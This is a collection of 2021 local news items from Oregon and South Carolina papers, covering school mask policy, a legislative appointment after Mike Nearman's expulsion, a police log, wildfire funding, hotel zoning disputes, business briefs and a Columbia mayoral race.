I thank you for what you have done in the community in the past, Bollman said. You have been very involved in the Dallas community and had family in the district. Its greatly appreciated. Were sad to see you go another direction, but certainly understand. We wish your family all the best.

His resignation set in motion a process to fill his seat for two years of the four-year term, and run for election in May of 2023. The board will seek letters of interest to fill the vacancy, which will be due on Aug. 2.

The board also discussed the use of face coverings for the remainder of summer school and the beginning of the new school year in the fall, deciding to make masks optional unless an outbreak requires a change in policy.

Currently masks are required indoors but not outdoors at school, Bellando said.

From my perspective, I think we can narrow this down to three options for face coverings that come to mind, he said.

Those options are: maintain current policy, require only K-5 students to wear masks, or make them optional throughout the district.

He said the district consults with Polk County Public Health officials, and they have concerns about the lack of mask wearing.

They are concerned about the Delta variant, and still encourage face coverings, Bellando said.

However, that is not a requirement, and the decision is up to the district, he said. Bellando asked the board to weight in on the issue.

Seeking your input is really important right now for us to move ahead, he said. I think it is really important to note that whatever we do now for summer learning, really the expectation would be that continued into the fall.

Board member Jon Woods said masks should be optional, based on that they are no longer required in public in most circumstances. Woods said if an outbreak occurs, the district can adjust quickly.

For the general population, I dont see why the school would be the only place anyone in the state would be required to wear a mask besides public transportation, he said.

He added the district should accommodate those families who are not comfortable with their students returning to school, and providing education to students who arent feeling well or have to quarantine. Taking those measures will make it easier for students to stay home and reduce the chance of COVID transmission within the schools, he said.

The board didnt vote on the matter, but Bellando said the direction of making masks optional is clear. The change wont take effect until second summer session, to give time for the Oregon Department of Education to issue its new guidance on COVID safety on July 22.

Bellando noted that the district would not be against reversing course if needed.

Weve demonstrated as a school district that we can respond quickly, he said.
Itemizer-Observer

INDEPENDENCE  The Independence City Council approved awarding contracts to two capital improvement projects at their June 22 meeting.

The first was $1.46 million to Bent, LLC to replace the F Street Bridge, which includes a 10% contingency built into the budget. The second was $732,597 to Santiam Paving Company for repaving and water system improvement on main street. It, too, carried a 10% contingency.

City Manager Tom Pessemier said the F Street Bridge project was a long time coming, as the city applied for a grant with the state of Oregon Local Agency Fund in 2015. That grant was awarded in October 2018, with the state giving the go ahead to proceed in September of 2019.

As part of the citys capital improvement plan, Pessemier said the F Street Bridge replacement will accommodate larger loads for trucks and other traffic while alleviating traffic flow through 7th Street over time.

Once the grant money was secured, the citys request for bids returned five offers, with Scio-based Bent, LLC, the low bid. Pessemier said there is no construction schedule yet but expects it to probably begin sometime in August and take between 6-8 months.

Im thrilled to see this one done, Mayor John McArdle said. This is one I know that has been worked on by staff and a number of people for a long, long, long, loooong, time.

The task of repaving Main Street and making improvements to the underlying water system from City Hall to Independence Bridge went to the lone bidder of Santiam Paving Company.

Pessemier told counselors the city tends to do utilities, if it can, at the same time when tackling repaving projects.

The last thing we want to go do is go back and tear up pavement, he said. We only got one bid. But the good news is it was 10% under engineers estimate.

However, he added, it could present a significant impact to traffic, as the road is not very wide. The project again has an estimated August time frame and will be done half a direction at a time, making traffic one way for a while.

The water work will probably come first, he added. Well try to get it in as soon as can.
SALEM  The Oregon Capitol in Salem reopened to the public Monday, ending a nearly 16-month lock down because of the COVID-19 pandemic.

Legislative leaders, who control the Capitols operations, closed the statehouse to the public on March 18, 2020.

The move came 10 days after Gov. Kate Brown had declared a state emergency over the virus that would go on to kill more than 600,000 people in the United States.

House Speaker Tina Kotek, D-Portland, and Senate President Peter Courtney, D-Salem, said health officials had recommended access to the Capitol be severely limited until infections fell below 50 per 100,000 population in Marion County, which includes Salem.

After Gov. Kate Brown announced the lifting of most COVID-19 restrictions at the end of June, the top legislators said the building would reopen July 12. Oregon has reached an Oregon Health Authority goal of getting at least one shot of COVID-19 vaccine into 70% of eligible adults.

With new guidance from the Oregon Health Authority and the lifting of county risk levels, we are excited to expand entry to the Capitol today to include members of the public, Kotek and Courtney said Monday in a joint statement.

The Oregon State Capitol Visitor Services said Monday that the Capitol Store would be open from 10 a.m. until 3 p.m. for the next few weeks.

Self-guided tours were allowed immediately, while guided tours will be offered daily at 11 a.m. and 2 p.m. beginning July 19. Tours of the Capitol tower wont return until 2022.

For updated information on hours, tours, and ongoing construction, go to the website for visitors.

Visitors will not be able to see the Senate and House chambers, which are undergoing renovations through the end of the year. The main entrance and rear entrance will be closed at time for the refurbishing work.

During the closure, only state government officials, lawmakers, limited staff, some capitol employees, and journalists were allowed inside.

The House and Senate held three short special sessions in 2020 and the full 160-day regular session in 2021. Committees held virtual hearings, but lawmakers were required to come to Salem for the final floor votes.

The closure has been politically divisive, with Republicans who opposed many of the state limits imposed during the virus crisis demanding the public be allowed into the building when the Legislature was meeting.

Democratic leaders countered that the zip code that includes the Capitol had the highest per capita number of infections in the state during much of the pandemic. The House reported at least four outbreaks of COVID-19, which led to short shutdowns in floor sessions.

Two Republican lawmakers who were critics of the states COVID-19 policies and declined to be vaccinated later reported they had been infected. Sen. Dallas Heard, R-Roseburg and former representative Mike Nearman.
Information for the report comes from law enforcement agencies. Not all calls for service are included. The status of arrests reported may change after further investigation. Individuals arrested or suspected of crimes are considered innocent until proven guilty.

Dallas Police Department

July 2, 2021

At 1:25 a.m., a report of a male subject throwing stuff at a persons window on Southeast Miller Avenue.

At 10:02 a.m., a sex offense was reported on Southeast Hankel Street.

At 1:55 p.m., police disposed a syringe found in the parking lot on East Ellendale Avenue.

At 5:27 p.m., a house fire was reported on Southeast Shelton Street.

At 6:14 p.m., a theft from Walmart was reported.

At 10:55 p.m., a hit and run was reported in the 200 block of Southwest Washington Street.

July 3, 2021

At 1:16 a.m., Michael Jenkins was lodged in the Polk County Jail on a post-prison supervision warrant.

At 10:15 a.m., a person was scammed out of $2,000 on Southwest Brown Street.

At 11:56 a.m., a one vehicle non-injury accident was reported in the 1500 block of Southwest Fairview Avenue. A vehicle crashed into a power pole.

July 4, 2021

At 9:56 p.m., a citizen was concerned with all the illegal fireworks in the area of Southeast Court Street and Southeast Shelton Street as it was triggering his PTSD. He requested that police drive through the area, which they did.

July 5, 2021

At 10:11 p.m., a report of the theft of lumber from a construction site in the 400 block of Southwest Mill Street. Police contacted the persons who were cleaning up scrap wood from the site and they had permission to do so.

July 6, 2021

At 11:27 a.m., a sex offense was reported with a juvenile victim on Southeast Azalea Avenue. Under investigation.

At 1:46 p.m., a non-injury crash was reported in McDonalds parking lot.

At 6:16 p.m., a person reported that someone stole her jewelry on Southwest Elmwood Drive. Under investigation.

At 6:25 p.m., a crash was reported on Southwest Levens Street. It was a minor crash, damage over $2,500.

July 7, 2021

At 8:26 a.m., a burglary was reported on Northeast Kings Valley Highway.

July 8, 2021

At 1:02 p.m., a theft of a catalytic converter sometime in the last nine months was reported in the 300 block of Southeast Fir Villa Road.

At 6:57 p.m., the theft of a purple bike with a front basket was reported in the 300 block of Northeast Kings Valley Highway.

At 10:19 p.m., lodged Cory Wells at the Polk County Jail on a felony failure to appear warrant out of Polk County.

Polk County Sheriffs Office

Monday, July 5

At 3:47 a.m., a motorist was stopped on Pacific Highway near Jackson Street in Monmouth for unlawful use of lights and failure to drive within lane. The driver was cited for driving while uninsured and unlawful use of lights.

At 3:29 a.m., PCSO was asked to be on the lookout for a possible drunk motorist who left an establishment after a few beers and was transporting children in the backseat. A deputy located and stopped the vehicle on Salme Dallas Highway near Riggs Street for Failing to Signal Lane Change 100 feet in advance and following too closely. The driver performed a field sobriety test, performed poorly and was arrested for DUII, later registering a BAC of .08%. In addition, the driver was cited for two counts of recklessly endangering another person and failing to properly secure his child in the vehicle.

At 4:34 a.m., a resident in the in the 1800 block of Reuben Boise Road reported a co-worker of his dad showed up drunk at the home. A deputy conducted a DUII investigation. The subject was arrested for Driving Under the Influence of an Intoxicant, later registering a BAC of .22% and was also cited for criminal trespassing I.

At 11:06 a.m., a report of a two-vehicle, non-injury accident in the 11500 block of Orrs Corner Road and Southeast Firs Villa Road. The driver that rear ended the other was cited for following too closely.

At 11:37 a.m., a motorist was stopped for speeding in the 1600 block of Independence Highway. The driver was cited for driving while suspended and warned for speeding.

At 12:10 p.m., a report of a motorcycle versus automobile accident with minor injuries on Highway 18 at milepost 22.

At 2:56 p.m., a resident in the 19500 block of Frost Road reported finding nearing his driveway a black mountain bike with a black crate on the back.

At 12:32 p.m., a report of a two-vehicle, non-injury accident on Highway 22 near Mill Creek Road.

At 1:29 p.m., a motorist misjudged the turn off Pacific Highway to Old Fort Road and ended up in the brush.

At 1:40 p.m., a resident in the 23200 block of Kochis Road reported two horses on the loose on his property.

At 2:56 p.m., a report of two stray dogs loose near Stevenson Road where P&W Railroad tracks intersect. A deputy retrieved the dogs and took them to the pound.

At 4:46 p.m., a subject involved in a civil dispute over a trailer, drove off with the trailer, knowing it had two flat tires. The rims caused sparks to fly and start two small fires off Highway 51, which burned out before fire personnel could respond. An off-duty deputy observed a female wearing all black riding on the hitch of the trailer between it and the vehicle that was attempting to tow it. The driver may have also hit a parked car in Independence. The driver was stopped and cited with two counts of reckless burning, reckless driving and reckless endangering.

At 4:02 p.m., a subject wanted on a federal warrant was detained on Independence Highway near Poplar Lane.

At 6:34 p.m., a wallet with an ID from Montana was found inside the porta potty at the Falls City falls.

At 5:23 p.m., an adult, male Chihuahua was found running along Highway 22 near milepost 10.

At 6:09 p.m., a deputy located a very messy homeless camp on Weyco property just off the river at 20700 Black Rock Road. No one was around. The camp was photographed and tagged for 24-hour removal.

Tuesday, July 6

At 12:36 a.m., a report of two females floating down the Willamette when one of their inflatable rafts began losing air. They then thought they saw a crocodile so they pulled out on the Marion County river bank and wanted help getting back to where they put in near Independence. A deputy responded and provided courtesy transport back to Independence from about 200 yards upriver of the boat launch.

At 1:58 a.m., a motorist was stopped for speeding and operation without required lighting equipment on Highway 22 near Brown Road. The driver was cited for driving while suspended and speeding 79 mph in a 55-mph safety corridor zone.

At 3:22 a.m., a motorist was stopped for failure to register vehicle and failure to drive within lane in the 5300 block of Salem Dallas Highway. The driver was cited for driving while uninsured and failure to carry proof of financial responsibility.

At 5:16 a.m., a motorist was stopped for driving erratically on Highway 22 near milepost 18. The driver was not impaired but claimed to be having medical issues. He was cited for driving while suspended, driving uninsured and failure to drive within the lane. The car was not towed, however, because he was living out of it with all his possessions inside, could not physically walk anywhere and had no one to come get him.

At 3:08 p.m., a report of a dog biting a contractor on a property in the 3200 block of Barnhart Road.

At 8:17 p.m., a motorist was cited for speeding 76 mph in a 55-mph zone on Clow Corner Road near Adams Road.

Monmouth Police Department

Arrests for June

Currin Ray Workman, 25, of Turner, was arrested for violating a restraining order.

Christopher Woodward, 40, of Aumsville, was arrested on two outstanding warrants.
Itemizer-Observer

DALLAS  Commissioners from Polk, Marion, Yamhill and Benton counties overwhelming voted for Anna Scharf to replace ousted state representative Mike Nearman. She tallied nine of the 11 available votes on July 6.

Scharf previously worked as a policy analyst in Nearmans District 23 office, working on behalf of constituents on a variety of legislative issues. Scharf also works for Scharf Farms in Polk County, owned by her husbands family.

Its an honor to be selected to represent my friends and neighbors of House District 23, Scharf said in a statement. I look forward to continuing my service for these communities, now as their State Representative, and working with people across the district to empower their voices in Salem.

The other candidates the Republican Party precinct committee people nominated were John Swanson, a Republican state senate staffer, Jim Bunn, a former state senator and one-term U.S. Representative, Micky Garus, former Dallas city councilor and Nearman himself, who received the most votes from the June 25 nominating process.

On June 10, Nearman was expelled from office by a 59-1 vote of the State House of Representatives for his role in permitting protesters to enter the State Capitol building. The Capitol had been closed to the public due to the pandemic since March 2020.

The vote came after a video emerged showing Nearman, five days before the Dec. 21 session, advising constituents how to reach him via text message and someone would allow them to enter the Capitol.

When the representative was expelled from the legislature, I stayed behind. His chief of staff and I stayed there every single day, and I feel that is really important and I feel honored to be able to continue to do that, Scharf told the commissioners from the four counties that make up the 23rd District. My firm belief in the Legislative process and firm belief in the rule of law are principles I will never compromise. I will use those as I represent the 53,000 citizens.

Under state law, commissioners from each of the four counties of HD 23 were tasked with selecting Nearmans replacement. Polk County Chair Craig Pope headed the proceedings, allowing each candidate a chance to answer five questions hed prepared.

Scharf named homelessness and government overreach during the COVID-19 pandemic as the top issues facing House District 23. Listing her strong suits, Scharf said she was staunchly both pro-life and pro-Second Amendment, adding she would walk away from any negotiations curtailing gun rights.

Afterwards, the commissioners each explained how they were voting. For many, including retiring Polk County Commissioner Mike Ainsworth, Nearman was not even a part of the equation of replacing himself.

Im not happy with the process were going through. Because I dont believe that you should be here Mike. Your constituents outnumbered you 59-1 and yet the PCPs put you in here. I think that is a slap in the face of the legislature. Any one of the other four would do a wonderful job, Ainsworth said, adding Scharfs knowledge of both the agricultural and forestry part of the Polk Countys community was the deciding factor. I hadnt made my mind up until today after I heard everyone speak. Im also going to vote for Anna. Weve had our differences before, but I think you would do a wonderful job. Youve been there. It was between you and John.

However, Yamhill County Commissioner Mary Starrett said she was not there to say whether what Nearman did was right or wrong. Rather, her roll was precisely to uphold the will of the PCPs, as the voice of the people had been taken away by the Legislatures process to quickly remove Nearman.

Relationships with the people is the most critical part of a representatives work in the Legislature. The PCPs are the closest to the people. And the PCPs at the nominating convention chose Mike Nearman as number one, and not by a few votes, but by nearly 700 votes. If the PCPs chose him, then I said all along, I was going to with who the PCPs said was their number one choice, Starrett.

Ainsworths fellow Polk County Commissioner Lyle Mordhorst also had not made up his mind until the day of the interviews.

All of you have your strengths. For Polk County, agriculture is our number one key economic driver. To make sure our communities are what they are. With that being said, Anna gets my vote, Mordhorst said.

Pope, as chair of the proceedings, cast his vote at the end, explaining hed been through this process of appointing people several times, and its always very stressful on everybody. However, the bottom line was appointing someone who could survive the re-election at the end of the term.

I understand this is an interim appointment. Theres an election coming. This is somebody were going to put into a seat to get to an election. If youre not happy with the outcome of this process, youve got to get out there and rally for your candidate. Thats the American way, Pope said. I appreciate all thats been said by the commissioners so far. My vote will be for Anna.

Swanson was the only other candidate to receive a vote, which came from Benton County Commissioner Zan Augerot.

Scharf was scheduled to be sworn in at 11 a.m. Monday (July 12), becoming the 13th sitting member of the Oregon Legislature appointed to a seat.

Nearman still faces two misdemeanor counts in connection with the Dec. 21 incident. A hearing is scheduled for July 19.
WASHINGTON, DC  U.S. Sen. Ron Wyden says he is awaiting an announcement by President Bidens administration about a mobilization plan for firefighters and equipment for widespread forest fires in the West.

The Oregon Democrat told reporters Saturday that such a mobilization plan is likely to require more money as well. He based his observation on a June 17 hearing of the Senate Energy and Natural Resources Committee, which heard a presentation by Chief Vicki Christiansen about Bidens 2022 budget request for the U.S. Forest Service. That budget year starts Oct. 1.

I do think it will take additional resources, Wyden, who sits on that committee, said. I think in a matter of days, the Biden administration will be outlining the steps that I have touched on that constitutes its strategy against this grave threat.

I believe what we will hear about is making sure there are personnel available in the West to fight multiple fires at the same time. This is a departure from the past. Usually we have one big fire and other western states would chip in to help the state that was hit the hardest. Now, we are talking about something that is unprecedented: Big fires simultaneously throughout the West.

Wyden led the committee for about one year, from 2013 to 2014, when he took over the tax-writing Finance Committee, which he now leads again after Democrats became the Senates majority party with Vice President Kamala Harris the tie-breaker in a 50-50 chamber.

Wyden continues to sit on the Energy and Natural Resources Committee as the No. 2 Democrat behind Chairman Joe Manchin of West Virginia. Senate rules allow one committee chairmanship per member.

Budget details are decided by the Appropriations Committee; Oregon Sen. Jeff Merkley leads the subcommittee that oversees the Forest Service.

Wyden spoke on a weekend when temperatures exceeded 100 in virtually all of Oregon, and drought affects most of the state.

Wyden and Merkley toured Oregon twice in the aftermath of the 2020 Labor Day wildfires, which affected all four metropolitan areas on the westside  Portland, Salem, Eugene and Medford  with wildfire smoke or worse. (The Almeda fire swept through communities south of Medford and destroyed an estimated 2,500 homes, the largest concentrated loss statewide.)

Wildfires also burned on the central coast, Central Oregon, and near Roseburg and Grants Pass.

Wyden says he expects one element of the response plan to be cooperation among the agencies responsible for forest firefighting. Local, state and federal firefighters are going to be tightly coordinated in order to deal with this grave threat, he said.

In Oregon, that responsibility is divided among fire protection districts, Oregon Department of Forestry  which also contracts to protest western Oregon forests overseen by the Bureau of Land Management  and the Forest Service for national forests.

Wyden said Congress should increase the amount of money available for the Forest Service to reduce hazardous-fuel buildups in national forests. Oregon itself has about 2 million acres eligible for treatment. Wyden said Forest Service chief Christiansen estimates it will take $20 billion to eliminate the backlog.

Wyden also is promoting the creation of a 21st century equivalent of the Civilian Conservation Corps, the New Deal-era agency that put primarily young and unmarried men to work in the nations forests between 1933 and 1942. Silver Falls State Park, east of Salem, is one of the CCCs legacies in Oregon.
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An alliance of more than 30 organizations in a Monday letter to Energy Secretary Jennifer Granholm stressed that the next leader of the Energy Departments nuclear cleanup office must be dedicated to environmental justice and be capable of making real progress.

The status quo at Environmental Management will not get the job done, the Alliance for Nuclear Accountability board president, Marylia Kelley, wrote, and big and bold action is needed at the uppermost levels.

It is critical that the person who holds this office  the assistant secretary for Environmental Management  have a deep, genuine, and effective commitment to remedying the damage done to affected communities living near the highly contaminated sites of the DOE nuclear complex, Kelley continued.

Environmental Management was organized decades ago to address the legacy of nuclear weapons development and other government-sponsored energy research: radioactive wastes, contaminated buildings, polluted swaths of land. Environmental Management oversees the Savannah River Site, the 310-square-mile reserve south of Aiken where plutonium was once produced.

The assistant secretary for Environmental Management  often referred to as EM-1  is a Senate-confirmed position. The post is currently held, in an acting capacity, by William Ike White, who previously served at the National Nuclear Security Administration.

The Energy Departments environmental liability totals more than $500 billion, according to the Government Accountability Office, a congressional watchdog. The vast majority of that figure  some $406 billion in fiscal year 2020  falls under Environmental Management.

The Alliance for Nuclear Accountability in its letter this week warned that failing to achieve genuine cleanup jeopardizes the well-being of workers, the public and the broader environment. (The radioactive waste at the Savannah River Site has been described as South Carolinas single largest environmental threat.)

ANA looks forward to working with DOE, states, tribes, and others to address this very difficult, but essential, effort to bring about a cleaner, more just, future for our communities, wrote Kelley, who is also the executive director of Tri-Valley CAREs, a California-based monitor.

Environmental Management has remediated dozens of sites to date, stretching from coast to coast.
Aiken County student-athletes may be selected for random drug testing in the near future if a suggestion by one school board member gets adopted.

Aiken County Board of Education member Brian Silas suggested random drug testing of student-athletes during Tuesday's school board meeting.

Silas said he has had conversations over the last couple of months with King Laurence, Aiken County schools superintendent, and Dr. Corey Murphy, chief officer of operations and student services, about the possibility of developing a policy for random drug testing for student-athletes and marching band participants. Silas said he wants to include marching band as he sees it as a significant extracurricular activity.

The purpose of any testing policy that I would foresee us developing is meant to be nonpunitive, strictly as a prevention and intervention method to discourage drug use, allowing for intervention when problems are found and is needed, Silas said.

After being approached by a concerned parent, Silas said he thought about it, did his research, and felt it was a worthwhile topic to bring up to the board. Silas added there has been a problem in schools when it comes to vaping and the use of prescription drugs.

There are other districts in South Carolina and across the country with testing programs, and there are rulings by the U.S. Supreme Court that uphold random drug testing in public schools, specifically related to extracurricular activities, Silas said.

He referenced Murphys past experience with this sort of program to explain how it could work in the Aiken County schools.

Murphy was the principal at Beaufort High school from 2012 to 2017, and during the second year of his tenure, the school introduced random drug testing for all student-athletes, all members of the marching band and any student who wished to drive a car on campus.

Basically, it was about 10% of that population monthly is what we were testing, consensually controlled by the district office, so no one at Beaufort High School could control the allotted names to go in, Murphy said.

There was no significant loss of athlete participation, and an outside agency conducted the drug screenings, Murphy said.

We did detect some kids that were using over-the-counter or prescription drugs or marijuana; we referred them to counseling services. They did lose eligibility for the ball game until the protocol was enacted to where they had the intervention in place, and they also had to do a subsequent test after that substance cleared their system, Murphy said.

Silas said this program will help students say no, when facing peer pressure.

The testing program is not a meant to be a means for expulsion, not to involve law enforcement and has no academic punitive actions, Silas said. Its not meant to produce a record that would follow that student when leaving school; the only punitive response that I foresee or thats been documented in these programs is the lack of participation in that sport for a defined time.

Silas plans to make a motion at a future board meeting, giving other board members a chance to do research and discuss this as an option for Aiken County schools.
The queue of hotel projects lined up for downtown Charleston may get a little shorter after two projects in the tourist-heavy City Market area were put in limbo after the owner of the properties missed a critical filing deadline.

A city zoning board voted last month to deny a request to extend the lodging approvals months after they'd expired.

Now the owner, Rainbow Market Group LLC, is challenging that decision.

The properties involved, one with an Anson Street address and the other at the site of the Rainbow Market building on Market Street, were approved in 2016 for two 50-room hotels.

All lodging projects on the peninsula require special exceptions. Once granted, they're valid for a limited time but can be extended under state law. Property owners are allowed up to five 12-month extensions of their "vested rights," and deadlines are set for when each extension expires.

Rainbow Market Group had already applied for and obtained two extensions. The most recent was to expire at the end of 2020.

Usually, property owners with hotel exceptions that are expiring will submit extension requests weeks or months in advance. The Board of Zoning Appeals typically approves them.

But since the Dec. 31 deadline had already passed before Rainbow Market Group submitted its request, city staffers said at the board's last meeting in mid-June that they couldn't approve it.

Zoning administrator Lee Batchelder said that, in his opinion, the Board of Zoning Appeals "does not have the authority to grant such an extension when the vested right is expired."

A letter submitted by the Preservation Society supported the city's stance, and a representative for the Historic Charleston Foundation said that group was concerned approval after a vested right had expired "would establish a dangerous precedent."

Charleston lawyer Trenholm Walker, who represented Rainbow Market Group at the meeting, said the late application could still be accepted without creating a precedent because of the "extenuating circumstances" of the COVID-19 pandemic.

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"It was missed, frankly, because of disarray," Walker told the board. "We don't have a legal reason for having missed it other than the pandemic."

Walker also said the owner was seeking the same approval it would have asked for had the application been filed on time, meaning the one-year extension would still expire next Dec. 31.

"We are not trying to capitalize and get six more months out of this," he said.

The majority of the board's members agreed with the city staff and voted 4-2 to deny the extension requests.

Rainbow Market Group, which public records show is affiliated with Marc Cothran of the Upstate and Charleston-based Gramling Brothers Real Estate & Development, paid $8 million for the properties in 2014.

Last week, the company filed a formal notice of appeal under the name Rainbow Market LLC with the Charleston County Court of Common Pleas. It also requested mediation. Representatives of the company could not be reached for comment.

Aside from vested rights extension requests, the properties hadn't been on any city agendas recently, but in 2016 the Board of Architectural Review started voting on preliminary designs for the planned hotels.

Renderings submitted for the proposed Anson Street property in mid-2016 showed four stories and a colonnaded front portico.

At the Market Street address, a developer was instructed by the architecture board in 2016 to preserve part of the existing Rainbow Market structure, including its recognizable stepped pink facade.

When Charleston's zoning board convenes again July 20, it will be reviewing five requests for extensions of hotel-related vested rights, according to the agenda.

For a few properties, the next expiration deadline is months away, sometime during December of this year. A couple of projects  a 250-room lodging planned for Hagood Avenue and a 50-unit hotel use approved on East Bay  are cutting it closer, with vested rights set to expire on July 17 and July 18, respectively.
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A luxury automobile dealer in Charleston recently bought a nearly 9-acre parcel in Mount Pleasant's growing northern sector for future development.

An affiliate of Baker Motor Co. paid $5 million for the tract near Wando High School in the Carolina Park subdivision, according to Charleston County land records.

The site is at the corner of U.S. Highway 17 and Carolina Park Boulevard, according to Carolina Park spokesman Brian Keels. The previous owner was Carolina Park Development.

Baker Motor owner Tommy Baker said development is not imminent on the newly purchased property but eventually he plans to open "a high line" dealership on the site.

"There is very little property left in Mount Pleasant," Baker said.

Baker owns a Mercedes-Benz dealership in Mount Pleasant on U.S. Highway 17 north of the Isle of Palms connector and a few miles south of Carolina Park. He owns several other showrooms in West Ashley, Summerville and Wilmington, N.C.

The newly acquired site by Baker is about a mile south of another planned auto dealership.

In early 2020, Galeana Chrysler Dodge Ram Jeep, an affiliate of Detroit-based Fiat Chrysler Automobiles, said it would build a new store on five acres on U.S. Highway 17 near Tupelo Forest Drive. A Galeana representative did not immediately respond June 14 for comment on the latest developments with the dealership.

Baker also bought a site in West Ashley earlier this year that led to the previous tenant's recent relocation.

The Animal Helpers Re-Tail Resale Store moved to 1903 Savannah Highway from 1601 Savannah Highway, where it had been located for the past 10 years.

The move for the nonprofit that supports Pet Helpers came after Baker Motor bought the building at 1601 Savannah Highway, according to store director Lori Browne. Baker paid $1.9 million for the site, according to county records.

Baker is storing cars on the site and plans to demolish the building, he said. The car dealer also owns property on either side of the former resale shop site and plans to use part of it to expand his GMC truck offerings.

The new retail store is about 5,600 square feet, roughly about 2,000 square feet larger than the original store. It carries a wide variety of donated items, including art, decor, jewelry, furniture, electronics and numerous other household goods.

What's cooking?

An Isle of Palms resident plans to open a new food-related venue in Mount Pleasant.

The Blue Root, owned by former Pennsylvania resident Melissa Bowman, recently leased 1,440 square feet in Crickentree Village at 1055 Johnnie Dodds Blvd., according to Mandy Coleman with Charleston Restaurant Properties.

Bowman makes zucchini bread from a recipe passed down by her grandmother and offers a catering and gifting option, according to the company's website. The new business, next to Five Loaves restaurant, plans to open by the fall, Coleman said.

Reopening

A performing arts theater and lounge in downtown Charleston is planning a grand reopening in August. Holy City Magic at 49 John St. recently applied for a permit to sell beer and wine on site.

Dollars and cents

A discount store in North Charleston will celebrate its recent renovations with a grand reopening. Family Dollar at 3281 Ashley Phosphate Road will offer the event on July 17.

The shop will now offer $1 Dollar Tree merchandise, additional freezers and coolers and an expanded selection of food, beauty and essentials, household products and seasonal items.

Virginia-based Dollar Tree acquired Family Dollar in 2015.

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On the way

A new salon will join several other shops in a West Ashley retail development.

Nikita Hair is scheduled to open in September in a 1,250-square-foot shop at 41 Grand Oaks Blvd., Unit B, according to Adams Development.

The site includes Starbucks, Luxia Nail Spa and Tropical Smoothie Cafe.

Salon debut

Guinot Institut Paris celebrated the grand opening of its new downtown skin care salon July 14 at 471 King St. in downtown Charleston.

The salon offers skin care treatments and cosmetic products.

Another Charleston area shop is at 1161 Oakland Market Road in the Market at Oakland Shopping Center in northern Mount Pleasant.

Changing hands

A North Charleston recreational vehicle business is now under new ownership.

Vermont-based Pete's RVs Center recently acquired The Trail Center at 5728 Dorchester Road.

Pete's now has six dealerships and its first in the Southeast.

The Trail Center was founded in October 1966 by Fred Curtis, an Air Force pilot who had a vision of South Carolina Lowcountry families spending time together in the outdoors. It has since grown into one of Jayco RV's most exclusive dealers.

Gloria Morgan, who started working at The Trail Center in 1973, became the owner in 1993. She welcomed the latest change of ownership "to carry on with our 55-year tradition of quality customer service."

"Gloria Morgan is not only the heart and soul of The Trail Center, she is also a staple in the RV industry," said Pete's RV co-owner Chad Shepard. "It's an honor to assume ownership of a business so fondly recognized in Charleston and its surrounding communities."

Pete's started in South Burlington, Vt., in 1952 and later added sites in Indiana, Connecticut, Massachusetts and Pennsylvania.

Fresh market

The Farmers Market at Freshfields Village between Kiawah and Seabrook islands runs 4-8 p.m. every Monday through August. Look for local produce and food and Lowcountry craft items.

The Harris Teeter-anchored shopping center is located at 165 Village Green Lane on Kiawah Island.

Rounding up

Food Lion supermarket chain is asking customers to round up their purchases to the nearest dollar with donations helping to feed the hungry.

Contributions will go to the Food Lion Feeds Charitable Foundation. The campaign runs through July 27 at more than 1,100 stores across the North Carolina-based company's 10-state footprint.

Food Lion has 19 stores throughout the Charleston region.
MONCKS CORNER  Santee Cooper is starting to search for the next leader of the state-owned public power and water provider.

At his first meeting as board chairman, former South Carolina lawmaker Peter McCoy of Charleston addressed the need to initiate a succession plan to ensure "stability and continuity" within the utility's senior ranks, he said July 13.

David Singleton, who chairs Santee Cooper's human resource committee, will lead the search to replace Mark Bonsall, whose newly extended six-month employment contract ends in early 2022.

"This is a tremendous undertaking for the board," Singleton said at the board meeting in Moncks Corner.

The process will include establishing a pay range with input from a state salary commission, setting up a search committee and hiring a consultant to identify and vet qualified candidates, he said.

Bonsall was recruited from Arizona two years ago to stabilize and overhaul state-owned Santee Cooper as it reeled from losses from the failed expansion of the V.C. Summer nuclear plant in Fairfield County.

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The project ran up more than $9 billion in debt before construction on two reactors at the plant was halted in July 2017. Santee Cooper was responsible for 45 percent.

The utility's involvement in the V.C. Summer collapse set off one of stormiest periods in its 87-year history.

The casualties included then-CEO Lonnie Carter, who abruptly retired in October 2017. The political fallout came to an end last month, when Gov. Henry McMaster signed a sweeping reform bill giving the state more say over Santee Cooper and its business operations.

Also in June, the utility's board voted to retain Bonsall and deputy CEO Charles Duckworth for six more months.

Their previous contract extensions expired July 7, and their compensation was unchanged under the new agreements. The two executives will be paid half of their original annual salaries of $1.1 million and $560,000 for staying through Jan. 9.

The board also approved performance bonuses last month for Bonsall and Duckworth of $242,500 and $160,050, respectively, for hitting nearly all of the goals spelled out in a strategic work plan. They were eligible to receive up to $250,000 and $165,000.
COLUMBIA  More than $600,000 has been pumped into the race to replace Steve Benjamin as mayor of the capital city a month before filing opens.

Columbia City Councilman Daniel Rickenmann has surpassed $250,000 in donations and has $219,690 in his mayoral campaign coffers ahead of the Nov. 2 city election.

"You have three and could be more come filing day in the race, and we need to be prepared for it," Rickenmann said. "We're going to continue to reach out to people and get them to invest in the campaign. And we look forward to keeping the momentum going."

Sam Johnson, a former Benjamin aide, more than tripled his first quarter fundraising, bringing in $115,570 from April through June. He's sitting on $133,465.

Councilwoman Tameika Isaac Devine again reported more than six figures, seeing her second quarter numbers dip slightly with $105,008. She has $101,348 on hand.

Johnson and Rickenmann filed their quarterly election filing with the State Ethics Commission on July 13, three days after the state-mandated deadline. Devine filed July 12, two days late. They face no fines with a five-day grace period before penalties kick in.

Devine's campaign burned through $92,337 during the second quarter and has spent $128,780 in all, far more than her opponents reported spending. The bulk of the expenses went to communications services, campaign management and strategy, printing and fundraisers, her filings show.

Rickenmann has spent $33,049 since launching his campaign, including on campaign materials, office space, campaign labor and catering campaign events. Johnson has spent $18,985 on campaign staff, communications and travel.

Among Johnson's notable donors during the second quarter included the NFL's Miami Dolphins, the franchise giving his campaign the maximum $1,000 allowed by state law for a municipal race. A campaign spokesman said the donation was the result of a fundraiser hosted by one of Johnson's supporters in Florida.

Columbia City Council members Ed McDowell and Sam Davis, who have endorsed Johnson's campaign were among his donors, while Devine's at-large colleague on council, Howard Duvall, gave to her campaign.
Georgetown, SC (29440)

Today

Thunderstorms likely. High 83F. Winds SW at 5 to 10 mph. Chance of rain 70%..

Tonight

Scattered showers and thunderstorms. Low around 70F. Winds light and variable. Chance of rain 60%.
GREENVILLE  The project is billed as a piece of the puzzle to solve the affordable housing crisis in downtown Greenville, but the upscale Mosaic at West End development from the start has been fraught with resident complaints that it is out of character with their neighborhood.

The debate over the project, which originally was planned to move dirt this summer but has faced delays in approval, is a microcosm of how complicated it can be to meet the city's stated priority to provide housing for lower-income households near downtown.

